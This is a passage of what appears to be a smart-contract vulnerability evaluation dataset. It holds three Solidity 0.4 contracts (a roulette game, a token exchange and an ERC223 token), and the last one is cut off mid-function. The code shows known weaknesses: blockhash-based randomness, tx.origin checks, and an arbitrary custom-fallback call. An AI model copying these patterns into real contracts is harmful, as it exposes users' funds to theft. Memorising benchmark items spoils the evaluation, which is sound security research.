0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x908c41461cddefb9f7b4d90c03b66c1c52ab6093.sol
3,751
12,326
pragma solidity ^0.4.8; contract Rouleth { //Game and Global Variables, Structure of gambles address public developer; uint8 public blockDelay; //nb of blocks to wait before spin uint8 public blockExpiration; //nb of blocks before bet expiration (due to hash storage limits) uint256 public maxGamble; //max gamble value manually set by config uint256 public minGamble; //min gamble value manually set by config uint public maxBetsPerBlock; //limits the number of bets per blocks to prevent miner cheating uint nbBetsCurrentBlock; //counts the nb of bets in the block //Gambles enum BetTypes{number, color, parity, dozen, column, lowhigh} struct Gamble { address player; bool spinned; //Was the rouleth spinned ? bool win; //Possible bet types BetTypes betType; uint8 input; //stores number, color, dozen or oddeven uint256 wager; uint256 blockNumber; //block of bet uint256 blockSpinned; //block of spin uint8 wheelResult; } Gamble[] private gambles; uint public totalGambles; //Tracking progress of players mapping (address=>uint) gambleIndex; //current gamble index of the player //records current status of player enum Status {waitingForBet, waitingForSpin} mapping (address=>Status) playerStatus; //basic betting without Mist or contract call //activates when the player only sends eth to the contract //without specifying any type of bet. function () payable { //defaut bet : bet on red betOnColor(false); } //Guarantees that gamble is under max bet and above min. // returns bet value function checkBetValue() private returns(uint256) { uint256 playerBetValue; if (msg.value < minGamble) throw; if (msg.value > maxGamble){ playerBetValue = maxGamble; } else{ playerBetValue=msg.value; } return playerBetValue; } //check number of bets in block (to prevent miner cheating) modifier checkNbBetsCurrentBlock() { if (gambles.length!=0 && block.number==gambles[gambles.length-1].blockNumber) nbBetsCurrentBlock+=1; else nbBetsCurrentBlock=0; if (nbBetsCurrentBlock>=maxBetsPerBlock) throw; _; } //Function record bet called by all others betting functions function placeBet(BetTypes betType_, uint8 input_) private { if (playerStatus[msg.sender]!=Status.waitingForBet) { SpinTheWheel(msg.sender); } //Once this is done, we can record the new bet playerStatus[msg.sender]=Status.waitingForSpin; gambleIndex[msg.sender]=gambles.length; totalGambles++; //adapts wager to casino limits uint256 betValue = checkBetValue(); gambles.push(Gamble(msg.sender, false, false, betType_, input_, betValue, block.number, 0, 37)); //37 indicates not spinned yet //refund excess bet (at last step vs re-entry) if (betValue < msg.value) { if (msg.sender.send(msg.value-betValue)==false) throw; } } //bet on Number function betOnNumber(uint8 numberChosen) payable onlyActive checkNbBetsCurrentBlock { //check that number chosen is valid and records bet if (numberChosen>36) throw; placeBet(BetTypes.number, numberChosen); } // function betOnColor //bet type : color //input : 0 for red //input : 1 for black function betOnColor(bool Black) payable onlyActive checkNbBetsCurrentBlock { uint8 input; if (!Black) { input=0; } else{ input=1; } placeBet(BetTypes.color, input); } // function betOnLow_High //bet type : lowhigh //input : 0 for low //input : 1 for low function betOnLowHigh(bool High) payable onlyActive checkNbBetsCurrentBlock { uint8 input; if (!High) { input=0; } else { input=1; } placeBet(BetTypes.lowhigh, input); } // function betOnOddEven //bet type : parity //input : 0 for even //input : 1 for odd function betOnOddEven(bool Odd) payable onlyActive checkNbBetsCurrentBlock { uint8 input; if (!Odd) { input=0; } else{ input=1; } placeBet(BetTypes.parity, input); } // function betOnDozen // //bet type : dozen // //input : 0 for first dozen // //input : 1 for second dozen // //input : 2 for third dozen function betOnDozen(uint8 dozen_selected_0_1_2) payable onlyActive checkNbBetsCurrentBlock { if (dozen_selected_0_1_2 > 2) throw; placeBet(BetTypes.dozen, dozen_selected_0_1_2); } // // function betOnColumn // //bet type : column // //input : 0 for first column // //input : 1 for second column // //input : 2 for third column function betOnColumn(uint8 column_selected_0_1_2) payable onlyActive checkNbBetsCurrentBlock { if (column_selected_0_1_2 > 2) throw; placeBet(BetTypes.column, column_selected_0_1_2); } //function to spin callable // no eth allowed function spinTheWheel(address spin_for_player) { SpinTheWheel(spin_for_player); } function SpinTheWheel(address playerSpinned) private { if (playerSpinned==0) { playerSpinned=msg.sender; //if no index spins for the sender } //check that player has to spin if (playerStatus[playerSpinned]!=Status.waitingForSpin) throw; //redundent double check : check that gamble has not been spinned already if (gambles[gambleIndex[playerSpinned]].spinned==true) throw; //check that the player waited for the delay before spin //and also that the bet is not expired uint playerblock = gambles[gambleIndex[playerSpinned]].blockNumber; //too early to spin if (block.number<=playerblock+blockDelay) throw; //too late, bet expired, player lost else if (block.number>playerblock+blockExpiration) solveBet(playerSpinned, 255, false, 1, 0, 0) ; //spin ! else { uint8 wheelResult; //Spin the wheel, bytes32 blockHash= block.blockhash(playerblock+blockDelay); //security check that the Hash is not empty if (blockHash==0) throw; // generate the hash for RNG from the blockHash and the player's address bytes32 shaPlayer = sha3(playerSpinned, blockHash, this); // get the final wheel result wheelResult = uint8(uint256(shaPlayer)%37); //check result against bet and pay if win checkBetResult(wheelResult, playerSpinned, blockHash, shaPlayer); } } //CHECK BETS FUNCTIONS private function checkBetResult(uint8 result, address player, bytes32 blockHash, bytes32 shaPlayer) private { BetTypes betType=gambles[gambleIndex[player]].betType; //bet on Number if (betType==BetTypes.number) checkBetNumber(result, player, blockHash, shaPlayer); else if (betType==BetTypes.parity) checkBetParity(result, player, blockHash, shaPlayer); else if (betType==BetTypes.color) checkBetColor(result, player, blockHash, shaPlayer); else if (betType==BetTypes.lowhigh) checkBetLowhigh(result, player, blockHash, shaPlayer); else if (betType==BetTypes.dozen) checkBetDozen(result, player, blockHash, shaPlayer); else if (betType==BetTypes.column) checkBetColumn(result, player, blockHash, shaPlayer); } // function solve Bet once result is determined : sends to winner, adds loss to profit function solveBet(address player, uint8 result, bool win, uint8 multiplier, bytes32 blockHash, bytes32 shaPlayer) private { //Update status and record spinned playerStatus[player]=Status.waitingForBet; gambles[gambleIndex[player]].wheelResult=result; gambles[gambleIndex[player]].spinned=true; gambles[gambleIndex[player]].blockSpinned=block.number; uint bet_v = gambles[gambleIndex[player]].wager; if (win) { gambles[gambleIndex[player]].win=true; uint win_v = (multiplier-1)*bet_v; Win(player, result, win_v, blockHash, shaPlayer, gambleIndex[player], bet_v); //send win! //safe send vs potential callstack overflowed spins if (player.send(win_v+bet_v)==false) throw; } else { Loss(player, result, bet_v-1, blockHash, shaPlayer, gambleIndex[player], bet_v); //send 1 wei to confirm spin if loss if (player.send(1)==false) throw; } } // checkbeton number(input) // bet type : number // input : chosen number function checkBetNumber(uint8 result, address player, bytes32 blockHash, bytes32 shaPlayer) private { bool win; //win if (result==gambles[gambleIndex[player]].input) { win=true; } solveBet(player, result,win,36, blockHash, shaPlayer); } // checkbet on oddeven // bet type : parity // input : 0 for even, 1 for odd function checkBetParity(uint8 result, address player, bytes32 blockHash, bytes32 shaPlayer) private { bool win; //win if (result%2==gambles[gambleIndex[player]].input && result!=0) { win=true; } solveBet(player,result,win,2, blockHash, shaPlayer); } // checkbet on lowhigh // bet type : lowhigh // input : 0 low, 1 high function checkBetLowhigh(uint8 result, address player, bytes32 blockHash, bytes32 shaPlayer) private { bool win; //win if (result!=0 && ((result<19 && gambles[gambleIndex[player]].input==0) || (result>18 && gambles[gambleIndex[player]].input==1))) { win=true; } solveBet(player,result,win,2, blockHash, shaPlayer); } // checkbet on color // bet type : color // input : 0 red, 1 black uint[18] red_list=[1,3,5,7,9,12,14,16,18,19,21,23,25,27,30,32,34,36]; function checkBetColor(uint8 result, address player, bytes32 blockHash, bytes32 shaPlayer) private { bool red; //check if red for (uint8 k; k<18; k++) { if (red_list[k]==result) { red=true; break; } } bool win; //win if (result!=0 && ((gambles[gambleIndex[player]].input==0 && red) || (gambles[gambleIndex[player]].input==1 && !red))) { win=true; } solveBet(player,result,win,2, blockHash, shaPlayer); } // checkbet on dozen // bet type : dozen // input : 0 first, 1 second, 2 third function checkBetDozen(uint8 result, address player, bytes32 blockHash, bytes32 shaPlayer) private { bool win; //win on first dozen if (result!=0 && ((result<13 && gambles[gambleIndex[player]].input==0) || (result>12 && result<25 && gambles[gambleIndex[player]].input==1) || (result>24 && gambles[gambleIndex[player]].input==2))) { win=true; } solveBet(player,result,win,3, blockHash, shaPlayer); } // checkbet on column // bet type : column // input : 0 first, 1 second, 2 third function checkBetColumn(uint8 result, address player, bytes32 blockHash, bytes32 shaPlayer) private { bool win; //win if (result!=0 && ((gambles[gambleIndex[player]].input==0 && result%3==1) || (gambles[gambleIndex[player]].input==1 && result%3==2) || (gambles[gambleIndex[player]].input==2 && result%3==0))) { win=true; } solveBet(player,result,win,3, blockHash, shaPlayer); } function checkMyBet(address player) constant returns(Status player_status, BetTypes bettype, uint8 input, uint value, uint8 result, bool wheelspinned, bool win, uint blockNb, uint blockSpin, uint gambleID) { player_status=playerStatus[player]; bettype=gambles[gambleIndex[player]].betType; input=gambles[gambleIndex[player]].input; value=gambles[gambleIndex[player]].wager; result=gambles[gambleIndex[player]].wheelResult; wheelspinned=gambles[gambleIndex[player]].spinned; win=gambles[gambleIndex[player]].win; blockNb=gambles[gambleIndex[player]].blockNumber; blockSpin=gambles[gambleIndex[player]].blockSpinned; gambleID=gambleIndex[player]; return; } function getGamblesList(uint256 index) constant returns(address player, BetTypes bettype, uint8 input, uint value, uint8 result, bool wheelspinned, bool win, uint blockNb, uint blockSpin) { player=gambles[index].player; bettype=gambles[index].betType; input=gambles[index].input; value=gambles[index].wager; result=gambles[index].wheelResult; wheelspinned=gambles[index].spinned; win=gambles[index].win; blockNb=gambles[index].blockNumber; blockSpin=gambles[index].blockSpinned; return; } } //end of contract
189,875
12,106
6bc35a5afab6f600503d16174c9a7dc782726893e76599986d3ba9cf85fa696e
18,845
.sol
Solidity
false
519123139
JolyonJian/contracts
b48d691ba0c2bfb014a03e2b15bf7faa40900020
contracts/1250_75541_0xaa5bbd5a177a588b9f213505ca3740b444dbd586.sol
5,266
18,632
// Saturn Protocol // File: contracts/SafeMath.sol pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/BytesLib.sol // from // https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol library BytesLib { function toAddress(bytes _bytes, uint _start) internal pure returns (address) { require(_bytes.length >= (_start + 20)); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint(bytes _bytes, uint _start) internal pure returns (uint256) { require(_bytes.length >= (_start + 32)); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } } // File: contracts/ERC223.sol contract ERC223 { uint public totalSupply; function balanceOf(address who) constant public returns (uint); function name() constant public returns (string _name); function symbol() constant public returns (string _symbol); function decimals() constant public returns (uint8 _decimals); function totalSupply() constant public returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); event Transfer(address indexed _from, address indexed _to, uint256 _value); event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data); } contract ContractReceiver { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223I is ERC223 { using SafeMath for uint; mapping(address => uint) balances; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; function name() constant public returns (string _name) { return name; } function symbol() constant public returns (string _symbol) { return symbol; } function decimals() constant public returns (uint8 _decimals) { return decimals; } function totalSupply() constant public returns (uint256 _totalSupply) { return totalSupply; } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); Transfer(msg.sender, _to, _value); ERC223Transfer(msg.sender, _to, _value, _data); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); ContractReceiver reciever = ContractReceiver(_to); reciever.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value); ERC223Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant public returns (uint balance) { return balances[_owner]; } } // File: contracts/Exchange.sol // Saturn Protocol contract ERC20 { function totalSupply() public view returns (uint); function balanceOf(address holder) public view returns (uint); function allowance(address holder, address other) public view returns (uint); function approve(address other, uint amount) public returns (bool); function transfer(address to, uint amount) public returns (bool); function transferFrom(address from, address to, uint amount) public returns (bool); } contract Exchange is ContractReceiver { using SafeMath for uint256; using BytesLib for bytes; bool private rentrancy_lock = false; modifier nonReentrant() { require(!rentrancy_lock); rentrancy_lock = true; _; rentrancy_lock = false; } struct Order { address owner; bool active; address sellToken; address buyToken; address ring; uint256 amount; uint256 priceMul; uint256 priceDiv; } // person => token => balance mapping(address => mapping(address => uint256)) private balances; mapping(uint256 => Order) private orderBook; uint256 public orderCount; address private etherAddress = 0x0; address private saturnToken; address private admin; uint256 public tradeMiningBalance; address public treasury; uint256 public feeMul; uint256 public feeDiv; uint256 public tradeMiningMul; uint256 public tradeMiningDiv; event NewOrder(uint256 id, address owner, address sellToken, address buyToken, address ring, uint256 amount, uint256 priceMul, uint256 priceDiv, uint256 time); event OrderCancelled(uint256 id, uint256 time); event OrderFulfilled(uint256 id, uint256 time); event Trade(address from, address to, uint256 orderId, uint256 soldTokens, uint256 boughtTokens, uint256 feePaid, uint256 time); event Mined(address trader, uint256 amount, uint256 time); function Exchange(address _saturnToken, address _treasury, uint256 _feeMul, uint256 _feeDiv, uint256 _tradeMiningMul, uint256 _tradeMiningDiv) public { saturnToken = _saturnToken; treasury = _treasury; feeMul = _feeMul; feeDiv = _feeDiv; tradeMiningMul = _tradeMiningMul; tradeMiningDiv = _tradeMiningDiv; admin = msg.sender; } function() payable public { revert(); } ////////////////// // public views // ////////////////// // add views for prices too // and for order owner too function getBalance(address token, address user) view public returns(uint256) { return balances[user][token]; } function isOrderActive(uint256 orderId) view public returns(bool) { return orderBook[orderId].active; } function remainingAmount(uint256 orderId) view public returns(uint256) { return orderBook[orderId].amount; } function getBuyTokenAmount(uint256 desiredSellTokenAmount, uint256 orderId) public view returns(uint256 amount) { require(desiredSellTokenAmount > 0); Order storage order = orderBook[orderId]; if (order.sellToken == etherAddress || order.buyToken == etherAddress) { uint256 feediff = feeDiv.sub(feeMul); amount = desiredSellTokenAmount.mul(order.priceDiv).mul(feeDiv).div(order.priceMul).div(feediff); } else { amount = desiredSellTokenAmount.mul(order.priceDiv).div(order.priceMul); } require(amount > 0); } function calcFees(uint256 amount, uint256 orderId) public view returns(uint256 fees) { Order storage order = orderBook[orderId]; if (order.sellToken == etherAddress) { uint256 sellTokenAmount = amount.mul(order.priceMul).div(order.priceDiv); fees = sellTokenAmount.mul(feeMul).div(feeDiv); } else if (order.buyToken == etherAddress) { fees = amount.mul(feeMul).div(feeDiv); } else { fees = 0; } return fees; } function tradeMiningAmount(uint256 fees, uint256 orderId) public view returns(uint256) { if (fees == 0) { return 0; } Order storage order = orderBook[orderId]; if (!order.active) { return 0; } uint256 tokenAmount = fees.mul(tradeMiningMul).div(tradeMiningDiv); if (tradeMiningBalance < tokenAmount) { return tradeMiningBalance; } else { return tokenAmount; } } //////////////////// // public methods // //////////////////// function withdrawTradeMining() public { if (msg.sender != admin) { revert(); } require(tradeMiningBalance > 0); uint toSend = tradeMiningBalance; tradeMiningBalance = 0; require(sendTokensTo(admin, toSend, saturnToken)); } function changeTradeMiningPrice(uint256 newMul, uint256 newDiv) public { if (msg.sender != admin) { revert(); } require(newDiv != 0); tradeMiningMul = newMul; tradeMiningDiv = newDiv; } // handle incoming ERC223 tokens function tokenFallback(address from, uint value, bytes data) public { // depending on length of data // this should be either an order creating transaction // or an order taking transaction // or a transaction allocating tokens for trade mining if (data.length == 0 && msg.sender == saturnToken) { _topUpTradeMining(value); } else if (data.length == 84) { _newOrder(from, msg.sender, data.toAddress(64), value, data.toUint(0), data.toUint(32), etherAddress); } else if (data.length == 104) { _newOrder(from, msg.sender, data.toAddress(64), value, data.toUint(0), data.toUint(32), data.toAddress(84)); } else if (data.length == 32) { _executeOrder(from, data.toUint(0), msg.sender, value); } else { // unknown payload! revert(); } } function sellEther(address buyToken, uint256 priceMul, uint256 priceDiv) public payable returns(uint256 orderId) { require(msg.value > 0); return _newOrder(msg.sender, etherAddress, buyToken, msg.value, priceMul, priceDiv, etherAddress); } function sellEtherWithRing(address buyToken, uint256 priceMul, uint256 priceDiv, address ring) public payable returns(uint256 orderId) { require(msg.value > 0); return _newOrder(msg.sender, etherAddress, buyToken, msg.value, priceMul, priceDiv, ring); } function buyOrderWithEth(uint256 orderId) public payable { require(msg.value > 0); _executeOrder(msg.sender, orderId, etherAddress, msg.value); } function sellERC20Token(address sellToken, address buyToken, uint256 amount, uint256 priceMul, uint256 priceDiv) public returns(uint256 orderId) { require(amount > 0); uint256 pulledAmount = pullTokens(sellToken, amount); return _newOrder(msg.sender, sellToken, buyToken, pulledAmount, priceMul, priceDiv, etherAddress); } function sellERC20TokenWithRing(address sellToken, address buyToken, uint256 amount, uint256 priceMul, uint256 priceDiv, address ring) public returns(uint256 orderId) { require(amount > 0); uint256 pulledAmount = pullTokens(sellToken, amount); return _newOrder(msg.sender, sellToken, buyToken, pulledAmount, priceMul, priceDiv, ring); } function buyOrderWithERC20Token(uint256 orderId, address token, uint256 amount) public { require(amount > 0); require(pullTokens(token, amount) > 0); _executeOrder(msg.sender, orderId, token, amount); } function cancelOrder(uint256 orderId) public nonReentrant { Order storage order = orderBook[orderId]; require(order.amount > 0); require(order.active); require(msg.sender == order.owner); balances[msg.sender][order.sellToken] = balances[msg.sender][order.sellToken].sub(order.amount); require(sendTokensTo(order.owner, order.amount, order.sellToken)); // deleting the order refunds the caller some gas // this also sets order.active to false delete orderBook[orderId]; emit OrderCancelled(orderId, now); } ///////////////////// // private methods // ///////////////////// function _newOrder(address owner, address sellToken, address buyToken, uint256 amount, uint256 priceMul, uint256 priceDiv, address ring) private nonReentrant returns(uint256 orderId) { ///////////////////////// // step 1. validations // ///////////////////////// require(amount > 0); require(priceMul > 0); require(priceDiv > 0); require(sellToken != buyToken); /////////////////////////////// // step 2. Update order book // /////////////////////////////// orderId = orderCount++; orderBook[orderId] = Order(owner, true, sellToken, buyToken, ring, amount, priceMul, priceDiv); balances[owner][sellToken] = balances[owner][sellToken].add(amount); emit NewOrder(orderId, owner, sellToken, buyToken, ring, amount, priceMul, priceDiv, now); } function _executeBuyOrder(address trader, uint256 orderId, uint256 buyTokenAmount) private returns(uint256) { // buytoken: tkn // selltoken: ether Order storage order = orderBook[orderId]; uint256 sellTokenAmount = buyTokenAmount.mul(order.priceMul).div(order.priceDiv); uint256 fees = sellTokenAmount.mul(feeMul).div(feeDiv); require(sellTokenAmount > 0); require(sellTokenAmount <= order.amount); order.amount = order.amount.sub(sellTokenAmount); // send tokens to order owner require(sendTokensTo(order.owner, buyTokenAmount, order.buyToken)); // send ether to trader require(sendTokensTo(trader, sellTokenAmount.sub(fees), order.sellToken)); emit Trade(trader, order.owner, orderId, sellTokenAmount.sub(fees), buyTokenAmount, fees, now); return fees; } function _executeSellOrder(address trader, uint256 orderId, uint256 buyTokenAmount) private returns(uint256) { // buytoken: ether // selltoken: tkn Order storage order = orderBook[orderId]; uint256 fees = buyTokenAmount.mul(feeMul).div(feeDiv); uint256 sellTokenAmount = buyTokenAmount.sub(fees).mul(order.priceMul).div(order.priceDiv); require(sellTokenAmount > 0); require(sellTokenAmount <= order.amount); order.amount = order.amount.sub(sellTokenAmount); // send ether to order owner require(sendTokensTo(order.owner, buyTokenAmount.sub(fees), order.buyToken)); // send token to trader require(sendTokensTo(trader, sellTokenAmount, order.sellToken)); emit Trade(trader, order.owner, orderId, sellTokenAmount, buyTokenAmount.sub(fees), fees, now); return fees; } function _executeTokenSwap(address trader, uint256 orderId, uint256 buyTokenAmount) private returns(uint256) { // no ether was exchanged Order storage order = orderBook[orderId]; uint256 sellTokenAmount = buyTokenAmount.mul(order.priceMul).div(order.priceDiv); require(sellTokenAmount > 0); require(sellTokenAmount <= order.amount); order.amount = order.amount.sub(sellTokenAmount); require(sendTokensTo(order.owner, buyTokenAmount, order.buyToken)); require(order.active); require(sendTokensTo(trader, sellTokenAmount, order.sellToken)); emit Trade(trader, order.owner, orderId, sellTokenAmount, buyTokenAmount, 0, now); return 0; } function _executeOrder(address trader, uint256 orderId, address buyToken, uint256 buyTokenAmount) private nonReentrant { ///////////////////////// // step 0. validations // ///////////////////////// require(orderId < orderCount); require(buyTokenAmount > 0); Order storage order = orderBook[orderId]; require(order.active); require(trader != order.owner); require(buyToken == order.buyToken); // enforce exclusivity if (order.ring != etherAddress) { require(order.ring == tx.origin); } //////////////////////////// // step 1. token exchange // //////////////////////////// uint256 fees; if (order.sellToken == etherAddress) { // buy order: taker sends ether, gets tokens fees = _executeBuyOrder(trader, orderId, buyTokenAmount); } else if (order.buyToken == etherAddress) { // sell order: taker sends tokens, gets ether fees = _executeSellOrder(trader, orderId, buyTokenAmount); } else { fees = _executeTokenSwap(trader, orderId, buyTokenAmount); } //////////////////////////// // step 2. fees & wrap up // //////////////////////////// // collect fees and issue trade mining require(_tradeMiningAndFees(fees, trader)); // deleting the order refunds the caller some gas if (orderBook[orderId].amount == 0) { delete orderBook[orderId]; emit OrderFulfilled(orderId, now); } } function _tradeMiningAndFees(uint256 fees, address trader) private returns(bool) { if (fees == 0) { return true; } // step one: send fees to the treasury require(sendTokensTo(treasury, fees, etherAddress)); if (tradeMiningBalance == 0) { return true; } // step two: calculate reward uint256 tokenAmount = fees.mul(tradeMiningMul).div(tradeMiningDiv); if (tokenAmount == 0) { return true; } if (tokenAmount > tradeMiningBalance) { tokenAmount = tradeMiningBalance; } // account for sent tokens tradeMiningBalance = tradeMiningBalance.sub(tokenAmount); // step three: send the reward to the trader require(sendTokensTo(trader, tokenAmount, saturnToken)); emit Mined(trader, tokenAmount, now); return true; } function sendTokensTo(address destination, uint256 amount, address tkn) private returns(bool) { if (tkn == etherAddress) { destination.transfer(amount); } else { // works with both ERC223 and ERC20 ERC20(tkn).transfer(destination, amount); } return true; } // ERC20 fixture function pullTokens(address token, uint256 amount) private nonReentrant returns(uint256) { ERC20 tkn = ERC20(token); // need to do this balance dance in order to account for deflationary tokens uint256 balanceBefore = tkn.balanceOf(address(this)); tkn.transferFrom(msg.sender, address(this), amount); uint256 balanceAfter = tkn.balanceOf(address(this)); return balanceAfter.sub(balanceBefore); } function _topUpTradeMining(uint256 amount) private returns(bool) { tradeMiningBalance = tradeMiningBalance.add(amount); return true; } }
230,106
12,107
f0edcbf038f2bea85e0f722437d47ce53664ef97c2d884906f5d6c45364a543f
17,294
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x94b322df3a8206cef343bfd573378c353f2fa4ec.sol
3,374
12,908
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: contracts/MangachainToken.sol library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract MangachainToken is ERC223, Pausable { using SafeMath for uint256; string public name = "Mangachain Token"; string public symbol = "MCT"; uint8 public decimals = 8; uint256 public totalSupply = 5e10 * 1e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; address public depositAddress; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => uint256) public unlockUnixTime; event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); function MangachainToken(address _team, address _development, address _marketing, address _release, address _deposit) public { owner = _team; depositAddress = _deposit; balanceOf[_team] = totalSupply.mul(15).div(100); balanceOf[_development] = totalSupply.mul(15).div(100); balanceOf[_marketing] = totalSupply.mul(30).div(100); balanceOf[_release] = totalSupply.mul(40).div(100); } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; LockedFunds(targets[i], unixTimes[i]); } } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) whenNotPaused public returns (bool success) { require(_value > 0 && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) whenNotPaused public returns (bool success) { require(_value > 0 && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) whenNotPaused public returns (bool success) { require(_value > 0 && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) whenNotPaused public returns 